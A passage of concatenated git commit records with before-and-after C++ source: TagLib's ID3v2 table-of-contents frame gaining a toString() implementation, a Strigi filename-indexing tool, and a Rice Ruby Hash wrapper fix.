strip(d->childElements);\n}\n\nvoid TableOfContentsFrame::addChildElement(const ByteVector &cE)\n{\n d->childElements.append(cE);\n strip(d->childElements);\n}\n\nvoid TableOfContentsFrame::removeChildElement(const ByteVector &cE)\n{\n ByteVectorList::Iterator it = d->childElements.find(cE);\n\n if(it == d->childElements.end())\n it = d->childElements.find(cE + ByteVector(\"\\0\"));\n\n d->childElements.erase(it);\n}\n\nconst FrameListMap &TableOfContentsFrame::embeddedFrameListMap() const\n{\n return d->embeddedFrameListMap;\n}\n\nconst FrameList &TableOfContentsFrame::embeddedFrameList() const\n{\n return d->embeddedFrameList;\n}\n\nconst FrameList &TableOfContentsFrame::embeddedFrameList(const ByteVector &frameID) const\n{\n return d->embeddedFrameListMap[frameID];\n}\n\nvoid TableOfContentsFrame::addEmbeddedFrame(Frame *frame)\n{\n d->embeddedFrameList.append(frame);\n d->embeddedFrameListMap[frame->frameID()].append(frame);\n}\n\nvoid TableOfContentsFrame::removeEmbeddedFrame(Frame *frame, bool del)\n{\n \/\/ remove the frame from the frame list\n FrameList::Iterator it = d->embeddedFrameList.find(frame);\n d->embeddedFrameList.erase(it);\n\n \/\/ ...and from the frame list map\n it = d->embeddedFrameListMap[frame->frameID()].find(frame);\n d->embeddedFrameListMap[frame->frameID()].erase(it);\n\n \/\/ ...and delete as desired\n if(del)\n delete frame;\n}\n\nvoid TableOfContentsFrame::removeEmbeddedFrames(const ByteVector &id)\n{\n FrameList l = d->embeddedFrameListMap[id];\n for(FrameList::ConstIterator it = l.begin(); it != l.end(); ++it)\n removeEmbeddedFrame(*it, true);\n}\n\nString TableOfContentsFrame::toString() const\n{\n return String();\n}\n\nPropertyMap TableOfContentsFrame::asProperties() const\n{\n PropertyMap map;\n\n map.unsupportedData().append(frameID() + String(\"\/\") + d->elementID);\n\n return map;\n}\n\nTableOfContentsFrame *TableOfContentsFrame::findByElementID(const ID3v2::Tag *tag,\n const ByteVector &eID) \/\/ static\n{\n ID3v2::FrameList tablesOfContents = tag->frameList(\"CTOC\");\n\n for(ID3v2::FrameList::ConstIterator it = tablesOfContents.begin();\n it != tablesOfContents.end();\n ++it)\n {\n TableOfContentsFrame *frame = dynamic_cast<TableOfContentsFrame *>(*it);\n if(frame && frame->elementID() == eID)\n return frame;\n }\n\n return 0;\n}\n\nTableOfContentsFrame *TableOfContentsFrame::findTopLevel(const ID3v2::Tag *tag) \/\/ static\n{\n ID3v2::FrameList tablesOfContents = tag->frameList(\"CTOC\");\n\n for(ID3v2::FrameList::ConstIterator it = tablesOfContents.begin();\n it != tablesOfContents.end();\n ++it)\n {\n TableOfContentsFrame *frame = dynamic_cast<TableOfContentsFrame *>(*it);\n if(frame && frame->isTopLevel() == true)\n return frame;\n }\n\n return 0;\n}\n\nvoid TableOfContentsFrame::parseFields(const ByteVector &data)\n{\n unsigned int size = data.size();\n if(size < 6) {\n debug(\"A CTOC frame must contain at least 6 bytes (1 byte element ID terminated by \"\n \"null, 1 byte flags, 1 byte entry count and 1 byte child element ID terminated \"\n \"by null.\");\n return;\n }\n\n int pos = 0;\n unsigned int embPos = 0;\n d->elementID = readStringField(data, String::Latin1, &pos).data(String::Latin1);\n d->isTopLevel = (data.at(pos) & 2) != 0;\n d->isOrdered = (data.at(pos++) & 1) != 0;\n unsigned int entryCount = static_cast<unsigned char>(data.at(pos++));\n for(unsigned int i = 0; i < entryCount; i++) {\n ByteVector childElementID = readStringField(data, String::Latin1, &pos).data(String::Latin1);\n d->childElements.append(childElementID);\n }\n\n size -= pos;\n\n if(size < header()->size())\n return;\n\n while(embPos < size - header()->size()) {\n Frame *frame = FrameFactory::instance()->createFrame(data.mid(pos + embPos), (d->tagHeader != 0));\n\n if(!frame)\n return;\n\n \/\/ Checks to make sure that frame parsed correctly.\n if(frame->size() <= 0) {\n delete frame;\n return;\n }\n\n embPos += frame->size() + header()->size();\n addEmbeddedFrame(frame);\n }\n}\n\nByteVector TableOfContentsFrame::renderFields() const\n{\n ByteVector data;\n\n data.append(d->elementID);\n data.append('\\0');\n char flags = 0;\n if(d->isTopLevel)\n flags += 2;\n if(d->isOrdered)\n flags += 1;\n data.append(flags);\n data.append((char)(entryCount()));\n ByteVectorList::ConstIterator it = d->childElements.begin();\n while(it != d->childElements.end()) {\n data.append(*it);\n data.append('\\0');\n it++;\n }\n FrameList l = d->embeddedFrameList;\n for(FrameList::ConstIterator it = l.begin(); it != l.end(); ++it)\n data.append((*it)->render());\n\n return data;\n}\n\nTableOfContentsFrame::TableOfContentsFrame(const ID3v2::Header *tagHeader,\n const ByteVector &data, Header *h) :\n Frame(h),\n d(new TableOfContentsFramePrivate())\n{\n d->tagHeader = tagHeader;\n parseFields(fieldData(data));\n}\n<commit_msg>Fill `TableOfContentsFrame::toString()`. (#852)<commit_after>\/***************************************************************************\n copyright : (C) 2013 by Lukas Krejci\n email : krejclu6@fel.cvut.cz\n ***************************************************************************\/\n\n\/***************************************************************************\n * This library is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU Lesser General Public License version *\n * 2.1 as published by the Free Software Foundation. *\n * *\n * This library is distributed in the hope that it will be useful, but *\n * WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *\n * Lesser General Public License for more details. *\n * *\n * You should have received a copy of the GNU Lesser General Public *\n * License along with this library; if not, write to the Free Software *\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA *\n * 02110-1301 USA *\n * *\n * Alternatively, this file is available under the Mozilla Public *\n * License Version 1.1. You may obtain a copy of the License at *\n * http:\/\/www.mozilla.org\/MPL\/ *\n ***************************************************************************\/\n\n#include <tbytevectorlist.h>\n#include <tpropertymap.h>\n#include <tdebug.h>\n\n#include \"tableofcontentsframe.h\"\n\nusing namespace TagLib;\nusing namespace ID3v2;\n\nclass TableOfContentsFrame::TableOfContentsFramePrivate\n{\npublic:\n TableOfContentsFramePrivate() :\n tagHeader(0),\n isTopLevel(false),\n isOrdered(false)\n {\n embeddedFrameList.setAutoDelete(true);\n }\n\n const ID3v2::Header *tagHeader;\n ByteVector elementID;\n bool isTopLevel;\n bool isOrdered;\n ByteVectorList childElements;\n FrameListMap embeddedFrameListMap;\n FrameList embeddedFrameList;\n};\n\nnamespace {\n\n \/\/ These functions are needed to try to aim for backward compatibility with\n \/\/ an API that previously (unreasonably) required null bytes to be appeneded\n \/\/ at the end of identifiers explicitly by the API user.\n\n \/\/ BIC: remove these\n\n ByteVector &strip(ByteVector &b)\n {\n if(b.endsWith('\\0'))\n b.resize(b.size() - 1);\n return b;\n }\n\n ByteVectorList &strip(ByteVectorList &l)\n {\n for(ByteVectorList::Iterator it = l.begin(); it != l.end(); ++it)\n {\n strip(*it);\n }\n return l;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ public methods\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nTableOfContentsFrame::TableOfContentsFrame(const ID3v2::Header *tagHeader, const ByteVector &data) :\n ID3v2::Frame(data),\n d(new TableOfContentsFramePrivate())\n{\n d->tagHeader = tagHeader;\n setData(data);\n}\n\nTableOfContentsFrame::TableOfContentsFrame(const ByteVector &elementID,\n const ByteVectorList &children,\n const FrameList &embeddedFrames) :\n ID3v2::Frame(\"CTOC\"),\n d(new TableOfContentsFramePrivate())\n{\n d->elementID = elementID;\n strip(d->elementID);\n d->childElements = children;\n\n for(FrameList::ConstIterator it = embeddedFrames.begin(); it != embeddedFrames.end(); ++it)\n addEmbeddedFrame(*it);\n}\n\nTableOfContentsFrame::~TableOfContentsFrame()\n{\n delete d;\n}\n\nByteVector TableOfContentsFrame::elementID() const\n{\n return d->elementID;\n}\n\nbool TableOfContentsFrame::isTopLevel() const\n{\n return d->isTopLevel;\n}\n\nbool TableOfContentsFrame::isOrdered() const\n{\n return d->isOrdered;\n}\n\nunsigned int TableOfContentsFrame::entryCount() const\n{\n return d->childElements.size();\n}\n\nByteVectorList TableOfContentsFrame::childElements() const\n{\n return d->childElements;\n}\n\nvoid TableOfContentsFrame::setElementID(const ByteVector &eID)\n{\n d->elementID = eID;\n strip(d->elementID);\n}\n\nvoid TableOfContentsFrame::setIsTopLevel(const bool &t)\n{\n d->isTopLevel = t;\n}\n\nvoid TableOfContentsFrame::setIsOrdered(const bool &o)\n{\n d->isOrdered = o;\n}\n\nvoid TableOfContentsFrame::setChildElements(const ByteVectorList &l)\n{\n d->childElements = l;\n strip(d->childElements);\n}\n\nvoid TableOfContentsFrame::addChildElement(const ByteVector &cE)\n{\n d->childElements.append(cE);\n strip(d->childElements);\n}\n\nvoid TableOfContentsFrame::removeChildElement(const ByteVector &cE)\n{\n ByteVectorList::Iterator it = d->childElements.find(cE);\n\n if(it == d->childElements.end())\n it = d->childElements.find(cE + ByteVector(\"\\0\"));\n\n d->childElements.erase(it);\n}\n\nconst FrameListMap &TableOfContentsFrame::embeddedFrameListMap() const\n{\n return d->embeddedFrameListMap;\n}\n\nconst FrameList &TableOfContentsFrame::embeddedFrameList() const\n{\n return d->embeddedFrameList;\n}\n\nconst FrameList &TableOfContentsFrame::embeddedFrameList(const ByteVector &frameID) const\n{\n return d->embeddedFrameListMap[frameID];\n}\n\nvoid TableOfContentsFrame::addEmbeddedFrame(Frame *frame)\n{\n d->embeddedFrameList.append(frame);\n d->embeddedFrameListMap[frame->frameID()].append(frame);\n}\n\nvoid TableOfContentsFrame::removeEmbeddedFrame(Frame *frame, bool del)\n{\n \/\/ remove the frame from the frame list\n FrameList::Iterator it = d->embeddedFrameList.find(frame);\n d->embeddedFrameList.erase(it);\n\n \/\/ ...and from the frame list map\n it = d->embeddedFrameListMap[frame->frameID()].find(frame);\n d->embeddedFrameListMap[frame->frameID()].erase(it);\n\n \/\/ ...and delete as desired\n if(del)\n delete frame;\n}\n\nvoid TableOfContentsFrame::removeEmbeddedFrames(const ByteVector &id)\n{\n FrameList l = d->embeddedFrameListMap[id];\n for(FrameList::ConstIterator it = l.begin(); it != l.end(); ++it)\n removeEmbeddedFrame(*it, true);\n}\n\nString TableOfContentsFrame::toString() const\n{\n String s = String(d->elementID) +\n \": top level: \" + (d->isTopLevel ? \"true\" : \"false\") +\n \", ordered: \" + (d->isOrdered ? \"true\" : \"false\");\n\n if(!d->childElements.isEmpty()) {\n s+= \", chapters: [ \" + String(d->childElements.toByteVector(\", \")) + \" ]\";\n }\n\n if(!d->embeddedFrameList.isEmpty()) {\n StringList frameIDs;\n for(FrameList::ConstIterator it = d->embeddedFrameList.begin();\n it != d->embeddedFrameList.end(); ++it)\n frameIDs.append((*it)->frameID());\n s += \", sub-frames: [ \" + frameIDs.toString(\", \") + \" ]\";\n }\n\n return s;\n}\n\nPropertyMap TableOfContentsFrame::asProperties() const\n{\n PropertyMap map;\n\n map.unsupportedData().append(frameID() + String(\"\/\") + d->elementID);\n\n return map;\n}\n\nTableOfContentsFrame *TableOfContentsFrame::findByElementID(const ID3v2::Tag *tag,\n const ByteVector &eID) \/\/ static\n{\n ID3v2::FrameList tablesOfContents = tag->frameList(\"CTOC\");\n\n for(ID3v2::FrameList::ConstIterator it = tablesOfContents.begin();\n it != tablesOfContents.end();\n ++it)\n {\n TableOfContentsFrame *frame = dynamic_cast<TableOfContentsFrame *>(*it);\n if(frame && frame->elementID() == eID)\n return frame;\n }\n\n return 0;\n}\n\nTableOfContentsFrame *TableOfContentsFrame::findTopLevel(const ID3v2::Tag *tag) \/\/ static\n{\n ID3v2::FrameList tablesOfContents = tag->frameList(\"CTOC\");\n\n for(ID3v2::FrameList::ConstIterator it = tablesOfContents.begin();\n it != tablesOfContents.end();\n ++it)\n {\n TableOfContentsFrame *frame = dynamic_cast<TableOfContentsFrame *>(*it);\n if(frame && frame->isTopLevel() == true)\n return frame;\n }\n\n return 0;\n}\n\nvoid TableOfContentsFrame::parseFields(const ByteVector &data)\n{\n unsigned int size = data.size();\n if(size < 6) {\n debug(\"A CTOC frame must contain at least 6 bytes (1 byte element ID terminated by \"\n \"null, 1 byte flags, 1 byte entry count and 1 byte child element ID terminated \"\n \"by null.\");\n return;\n }\n\n int pos = 0;\n unsigned int embPos = 0;\n d->elementID = readStringField(data, String::Latin1, &pos).data(String::Latin1);\n d->isTopLevel = (data.at(pos) & 2) != 0;\n d->isOrdered = (data.at(pos++) & 1) != 0;\n unsigned int entryCount = static_cast<unsigned char>(data.at(pos++));\n for(unsigned int i = 0; i < entryCount; i++) {\n ByteVector childElementID = readStringField(data, String::Latin1, &pos).data(String::Latin1);\n d->childElements.append(childElementID);\n }\n\n size -= pos;\n\n if(size < header()->size())\n return;\n\n while(embPos < size - header()->size()) {\n Frame *frame = FrameFactory::instance()->createFrame(data.mid(pos + embPos), (d->tagHeader != 0));\n\n if(!frame)\n return;\n\n \/\/ Checks to make sure that frame parsed correctly.\n if(frame->size() <= 0) {\n delete frame;\n return;\n }\n\n embPos += frame->size() + header()->size();\n addEmbeddedFrame(frame);\n }\n}\n\nByteVector TableOfContentsFrame::renderFields() const\n{\n ByteVector data;\n\n data.append(d->elementID);\n data.append('\\0');\n char flags = 0;\n if(d->isTopLevel)\n flags += 2;\n if(d->isOrdered)\n flags += 1;\n data.append(flags);\n data.append((char)(entryCount()));\n ByteVectorList::ConstIterator it = d->childElements.begin();\n while(it != d->childElements.end()) {\n data.append(*it);\n data.append('\\0');\n it++;\n }\n FrameList l = d->embeddedFrameList;\n for(FrameList::ConstIterator it = l.begin(); it != l.end(); ++it)\n data.append((*it)->render());\n\n return data;\n}\n\nTableOfContentsFrame::TableOfContentsFrame(const ID3v2::Header *tagHeader,\n const ByteVector &data, Header *h) :\n Frame(h),\n d(new TableOfContentsFramePrivate())\n{\n d->tagHeader = tagHeader;\n parseFields(fieldData(data));\n}\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of Strigi Desktop Search\n *\n * Copyright (C) 2006 Jos van den Oever <jos@vandenoever.info>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n#include \"jstreamsconfig.h\"\n#include \"indexer.h\"\n#include \"dummyindexwriter.h\"\n#include \"streamindexer.h\"\n#include \"indexerconfiguration.h\"\n#include \"streamendanalyzer.h\"\nusing namespace jstreams;\n\nclass FindIndexerConfiguration : public IndexerConfiguration {\npublic:\n bool useFactory(StreamEndAnalyzerFactory* e) const {\n return e->analyzesSubStreams();\n }\n bool useFactory(StreamThroughAnalyzerFactory*) const {return false;}\n bool indexMore() const {return true;}\n bool addMoreText() const {return false;}\n};\n\nvoid\nprintUsage(char** argv) {\n fprintf(stderr, \"Usage: %s [dir-or-file-to-find]\\n\", argv[0]);\n}\nbool\ncontainsHelp(int argc, char **argv) {\n for (int i=1; i<argc; ++i) {\n if (strcmp(argv[i], \"--help\") == 0\n || strcmp(argv[i], \"-h\") == 0) return true;\n }\n return false;\n}\n\nint\nmain(int argc, char **argv) {\n const char* path = \".\";\n if (containsHelp(argc, argv) || argc > 2) {\n printUsage(argv);\n return -1;\n }\n if (argc == 2) {\n path = argv[1];\n }\n\n DummyIndexWriter writer(1);\n FindIndexerConfiguration conf;\n Indexer indexer(writer, conf);\n indexer.index(path);\n return 0;\n}\n<commit_msg>Add content and implement information function.<commit_after>\/* This file is part of Strigi Desktop Search\n *\n * Copyright (C) 2006 Jos van den Oever <jos@vandenoever.info>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n#include \"jstreamsconfig.h\"\n#include \"indexer.h\"\n#include \"dummyindexwriter.h\"\n#include \"streamindexer.h\"\n#include \"indexerconfiguration.h\"\n#include \"streamendanalyzer.h\"\nusing namespace jstreams;\n\n\/**\n * Special indexer that indexes only the filenames.\n **\/\nclass FindIndexerConfiguration : public IndexerConfiguration {\npublic:\n bool useFactory(StreamEndAnalyzerFactory* e) const {\n return e->analyzesSubStreams();\n }\n bool useFactory(StreamThroughAnalyzerFactory*) const {return false;}\n bool indexMore() const {return true;}\n bool addMoreText() const {return false;}\n FieldType getIndexType(const cnstr& fieldname) const {\n return None;\n }\n};\n\nvoid\nprintUsage(char** argv) {\n fprintf(stderr, \"Usage: %s [dir-or-file-to-find]\\n\", argv[0]);\n}\nbool\ncontainsHelp(int argc, char **argv) {\n for (int i=1; i<argc; ++i) {\n if (strcmp(argv[i], \"--help\") == 0\n || strcmp(argv[i], \"-h\") == 0) return true;\n }\n return false;\n}\n\nint\nmain(int argc, char **argv) {\n const char* path = \".\";\n if (containsHelp(argc, argv) || argc > 2) {\n printUsage(argv);\n return -1;\n }\n if (argc == 2) {\n path = argv[1];\n }\n\n DummyIndexWriter writer(1);\n FindIndexerConfiguration conf;\n Indexer indexer(writer, conf);\n indexer.index(path);\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef Rice__Hash__ipp_\n#define Rice__Hash__ipp_\n\n#include \"protect.hpp\"\n#include \"to_from_ruby.hpp\"\n#include \"Builtin_Object.hpp\"\n#include \"Exception.hpp\"\n#include \"Builtin_Object.hpp\"\n#include <algorithm>\n\n\/\/ TODO: Evil hack\nstruct st_table_entry {\n unsigned int hash;\n st_data_t key;\n st_data_t record;\n st_table_entry *next;\n};\n\ninline Rice::Hash::\nHash()\n : Builtin_Object<RHash, T_HASH>(protect(rb_hash_new))\n{\n}\n\ninline Rice::Hash::\nHash(Object v)\n : Builtin_Object<RHash, T_HASH>(v)\n{\n}\n\ninline size_t Rice::Hash::\nsize() const\n{\n return RHASH_TBL(*this)->num_entries;\n}\n\ninline Rice::Hash::Proxy::\nProxy(Hash hash, Object key)\n : hash_(hash)\n , key_(key)\n{\n}\n\n\/*\ninline Rice::Hash::Proxy::\noperator VALUE() const\n{\n return value();\n}\n*\/\n\ninline Rice::Hash::Proxy::\noperator Rice::Object() const\n{\n return value();\n}\n\ninline VALUE Rice::Hash::Proxy::\nvalue() const\n{\n return protect(rb_hash_aref, hash_, key_);\n}\n\ntemplate<typename T>\ninline Rice::Object Rice::Hash::Proxy::\noperator=(T const & value)\n{\n return protect(rb_hash_aset, hash_, key_, to_ruby(value));\n}\n\ninline void Rice::Hash::Proxy::\nswap(Proxy & proxy)\n{\n hash_.swap(proxy.hash_);\n key_.swap(proxy.key_);\n}\n\ntemplate<typename Key_T>\ninline Rice::Hash::Proxy const Rice::Hash::\noperator[](Key_T const & key) const\n{\n return Proxy(*this, to_ruby(key));\n}\n\ntemplate<typename Key_T>\ninline Rice::Hash::Proxy Rice::Hash::\noperator[](Key_T const & key)\n{\n return Proxy(*this, to_ruby(key));\n}\n\ntemplate<typename Value_T, typename Key_T>\ninline Value_T Rice::Hash::\nget(Key_T const & key)\n{\n Object ruby_key(to_ruby(key));\n Object value = operator[](ruby_key);\n try\n {\n return from_ruby<Value_T>(value);\n }\n catch(Exception const & ex)\n {\n String s_key(ruby_key.to_s());\n throw Exception(\n ex,\n \"%s while converting value for key %s\",\n ex.what(),\n s_key.c_str());\n }\n}\n\ninline Rice::Hash::Entry::\nEntry(Hash hash, Object key)\n : key(key)\n , first(Hash::Entry::key)\n , value(hash, key)\n , second(Hash::Entry::value)\n{\n}\n\ninline Rice::Hash::Entry::\nEntry(Entry const & entry)\n : key(entry.key)\n , first(Hash::Entry::key)\n , value(entry.value)\n , second(Hash::Entry::value)\n{\n}\n\ninline Rice::Hash::Entry & Rice::Hash::Entry::\noperator=(Rice::Hash::Entry const & rhs)\n{\n Entry tmp(rhs);\n swap(tmp);\n return *this;\n}\n\ninline void Rice::Hash::Entry::\nswap(Rice::Hash::Entry & entry)\n{\n const_cast<Object &>(key).swap(const_cast<Object &>(entry.key));\n value.swap(entry.value);\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\nIterator(Hash_Ref_T hash, size_t bin, st_table_entry * ptr)\n : hash_(hash)\n , tbl_(RHASH_TBL(hash.value()))\n , bin_(bin)\n , ptr_(ptr)\n , tmp_(hash, Qnil)\n{\n \/\/ If we aren't already at the end, then use the increment operator to\n \/\/ point to the first element\n if(!ptr_ && bin_ < tbl_->num_bins)\n {\n operator++();\n }\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\nIterator(Iterator const & iterator)\n : hash_(iterator.hash_.value())\n , tbl_(iterator.tbl_)\n , bin_(iterator.bin_)\n , ptr_(iterator.ptr_)\n , tmp_(iterator.hash_, Qnil)\n{\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ntemplate<typename Iterator_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\nIterator(Iterator_T const & iterator)\n : hash_(iterator.hash_.value())\n , tbl_(iterator.tbl_)\n , bin_(iterator.bin_)\n , ptr_(iterator.ptr_)\n , tmp_(iterator.hash_, Qnil)\n{\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T> &\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator=(Iterator const & iterator)\n{\n Iterator tmp(iterator);\n\n this->swap(tmp);\n\n return *this;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T> &\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator++()\n{\n \/\/ Go to the next element in the bin; this will be a no-op if we were\n \/\/ called from the constructor, because ptr_ will be 0 (and if its\n \/\/ not, this function won't get called).\n if(ptr_)\n {\n ptr_ = ptr_->next;\n }\n\n \/\/ If we've reached the end of the bin, then try the next bin until\n \/\/ we have run out of bins\n while(ptr_ == 0)\n {\n ++bin_;\n if(bin_ == tbl_->num_bins)\n {\n \/\/ At the end..\n return *this;\n }\n ptr_ = tbl_->bins[bin_];\n }\n\n return *this;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T>\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator++(int)\n{\n Iterator copy(*this);\n ++(*this);\n return copy;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Value_T\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator*()\n{\n return Value_T(hash_, ptr_->key);\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Value_T *\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator->()\n{\n Entry tmp(hash_, ptr_->key);\n this->tmp_.swap(tmp);\n return &tmp_;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline bool Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator==(Iterator const & rhs) const\n{\n return hash_.value() == rhs.hash_.value()\n && tbl_ == rhs.tbl_\n && bin_ == rhs.bin_\n && ptr_ == rhs.ptr_;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline bool Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator!=(Iterator const & rhs) const\n{\n return !(*this == rhs);\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline void\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\nswap(Iterator& iterator)\n{\n using namespace std;\n\n hash_.swap(iterator.hash_);\n swap(tbl_, iterator.tbl_);\n swap(bin_, iterator.bin_);\n swap(ptr_, iterator.ptr_);\n}\n\ninline Rice::Hash::iterator Rice::Hash::\nbegin()\n{\n st_table * tbl(RHASH_TBL(value()));\n return iterator(*this, 0, tbl->bins[0]);\n}\n\ninline Rice::Hash::const_iterator Rice::Hash::\nbegin() const\n{\n st_table * tbl(RHASH_TBL(value()));\n return const_iterator(*this, 0, tbl->bins[0]);\n}\n\ninline Rice::Hash::iterator Rice::Hash::\nend()\n{\n st_table * tbl(RHASH_TBL(value()));\n return iterator(*this, tbl->num_bins, 0);\n}\n\ninline Rice::Hash::const_iterator Rice::Hash::\nend() const\n{\n st_table * tbl(RHASH_TBL(value()));\n return const_iterator(*this, tbl->num_bins, 0);\n}\n\ninline bool Rice::\noperator<(\n Hash::Entry const & lhs, Hash::Entry const & rhs)\n{\n Object lhs_key(lhs.key);\n Object rhs_key(rhs.key);\n if(lhs_key < rhs_key)\n {\n return true;\n }\n else if(lhs_key > rhs_key)\n {\n return false;\n }\n else if(Object(lhs.value.value()) < Object(rhs.value.value()))\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\n#endif \/\/ Rice__Hash__ipp_\n\n<commit_msg>Fixed compile error where *this wasn't implicitly converted to a VALUE.<commit_after>#ifndef Rice__Hash__ipp_\n#define Rice__Hash__ipp_\n\n#include \"protect.hpp\"\n#include \"to_from_ruby.hpp\"\n#include \"Builtin_Object.hpp\"\n#include \"Exception.hpp\"\n#include \"Builtin_Object.hpp\"\n#include <algorithm>\n\n\/\/ TODO: Evil hack\nstruct st_table_entry {\n unsigned int hash;\n st_data_t key;\n st_data_t record;\n st_table_entry *next;\n};\n\ninline Rice::Hash::\nHash()\n : Builtin_Object<RHash, T_HASH>(protect(rb_hash_new))\n{\n}\n\ninline Rice::Hash::\nHash(Object v)\n : Builtin_Object<RHash, T_HASH>(v)\n{\n}\n\ninline size_t Rice::Hash::\nsize() const\n{\n return RHASH_TBL(this->value())->num_entries;\n}\n\ninline Rice::Hash::Proxy::\nProxy(Hash hash, Object key)\n : hash_(hash)\n , key_(key)\n{\n}\n\n\/*\ninline Rice::Hash::Proxy::\noperator VALUE() const\n{\n return value();\n}\n*\/\n\ninline Rice::Hash::Proxy::\noperator Rice::Object() const\n{\n return value();\n}\n\ninline VALUE Rice::Hash::Proxy::\nvalue() const\n{\n return protect(rb_hash_aref, hash_, key_);\n}\n\ntemplate<typename T>\ninline Rice::Object Rice::Hash::Proxy::\noperator=(T const & value)\n{\n return protect(rb_hash_aset, hash_, key_, to_ruby(value));\n}\n\ninline void Rice::Hash::Proxy::\nswap(Proxy & proxy)\n{\n hash_.swap(proxy.hash_);\n key_.swap(proxy.key_);\n}\n\ntemplate<typename Key_T>\ninline Rice::Hash::Proxy const Rice::Hash::\noperator[](Key_T const & key) const\n{\n return Proxy(*this, to_ruby(key));\n}\n\ntemplate<typename Key_T>\ninline Rice::Hash::Proxy Rice::Hash::\noperator[](Key_T const & key)\n{\n return Proxy(*this, to_ruby(key));\n}\n\ntemplate<typename Value_T, typename Key_T>\ninline Value_T Rice::Hash::\nget(Key_T const & key)\n{\n Object ruby_key(to_ruby(key));\n Object value = operator[](ruby_key);\n try\n {\n return from_ruby<Value_T>(value);\n }\n catch(Exception const & ex)\n {\n String s_key(ruby_key.to_s());\n throw Exception(\n ex,\n \"%s while converting value for key %s\",\n ex.what(),\n s_key.c_str());\n }\n}\n\ninline Rice::Hash::Entry::\nEntry(Hash hash, Object key)\n : key(key)\n , first(Hash::Entry::key)\n , value(hash, key)\n , second(Hash::Entry::value)\n{\n}\n\ninline Rice::Hash::Entry::\nEntry(Entry const & entry)\n : key(entry.key)\n , first(Hash::Entry::key)\n , value(entry.value)\n , second(Hash::Entry::value)\n{\n}\n\ninline Rice::Hash::Entry & Rice::Hash::Entry::\noperator=(Rice::Hash::Entry const & rhs)\n{\n Entry tmp(rhs);\n swap(tmp);\n return *this;\n}\n\ninline void Rice::Hash::Entry::\nswap(Rice::Hash::Entry & entry)\n{\n const_cast<Object &>(key).swap(const_cast<Object &>(entry.key));\n value.swap(entry.value);\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\nIterator(Hash_Ref_T hash, size_t bin, st_table_entry * ptr)\n : hash_(hash)\n , tbl_(RHASH_TBL(hash.value()))\n , bin_(bin)\n , ptr_(ptr)\n , tmp_(hash, Qnil)\n{\n \/\/ If we aren't already at the end, then use the increment operator to\n \/\/ point to the first element\n if(!ptr_ && bin_ < tbl_->num_bins)\n {\n operator++();\n }\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\nIterator(Iterator const & iterator)\n : hash_(iterator.hash_.value())\n , tbl_(iterator.tbl_)\n , bin_(iterator.bin_)\n , ptr_(iterator.ptr_)\n , tmp_(iterator.hash_, 